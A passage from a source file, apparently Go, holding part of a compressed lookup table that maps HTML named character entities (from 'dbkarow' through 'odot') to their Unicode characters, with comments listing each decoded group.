			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
